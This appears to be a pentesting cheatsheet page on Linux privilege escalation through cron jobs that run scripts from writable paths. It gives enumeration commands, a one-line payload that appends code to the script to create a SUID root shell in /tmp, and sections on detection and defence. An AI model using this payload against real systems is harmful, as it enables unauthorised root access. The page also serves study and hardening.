the_open_door
coffee
ESEN
← Back to index

Cron running a script in a writable path

Full command arsenal in the cheatsheet

A cron job runs as the identity of the user that defines it (shown by the user column in /etc/crontab or the owner of the crontab). If that job launches a script living in a directory writable by our current user, or whose name resolves in a manipulable way, we can replace or impersonate that script and our code will run with the job user's privileges.

Enumeration

Read every task source and its permissions:

cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/
cat /etc/cron.d/* 2>/dev/null
ls -la /var/spool/cron/crontabs/ 2>/dev/null    # user crontabs (root's not readable)
systemctl list-timers --all                      # modern equivalent: systemd timers

For each referenced script, check who can write it, or its directory:

ls -la /path/to/script.sh
find / -writable -type f 2>/dev/null | grep -vE '^/proc|^/sys'

Abuse variants

echo 'cp /bin/bash /tmp/rootbash && chmod +xs /tmp/rootbash' >> /path/script.sh
# after the next tick:  /tmp/rootbash -p   ->  euid=0

It's a pattern for pivoting between service accounts: from mysql to www-data, from www-data to a user, leveraging that each cron runs as a different user. The typical payload is a reverse shell or a SUID.

How to detect it. The crontabs in /etc/crontab, /etc/cron.d/ and /etc/cron.*/ are readable, but root's private crontab (/var/spool/cron/crontabs/root) is not. That is where pspy comes in: with no privileges it watches processes being born and dying, so a cron firing every minute shows up in its output with its path and user even when you can't read the crontab (pspy). Once you see the script, an ls -la on it and its directory confirms whether it is writable. Defensively, the signature is a root-owned script in a group/world-writable directory, modified just before its scheduled run (auditd over open/write of the file + cron -> sh -> payload lineage).

Defence. Scripts run by cron must be owned by root (or the job user) and not writable by others; avoid resolving names with wildcards over shared directories; use absolute paths inside the script too; and separate data paths (writable by services) from execution paths.

Toolspspy

Machines where it's used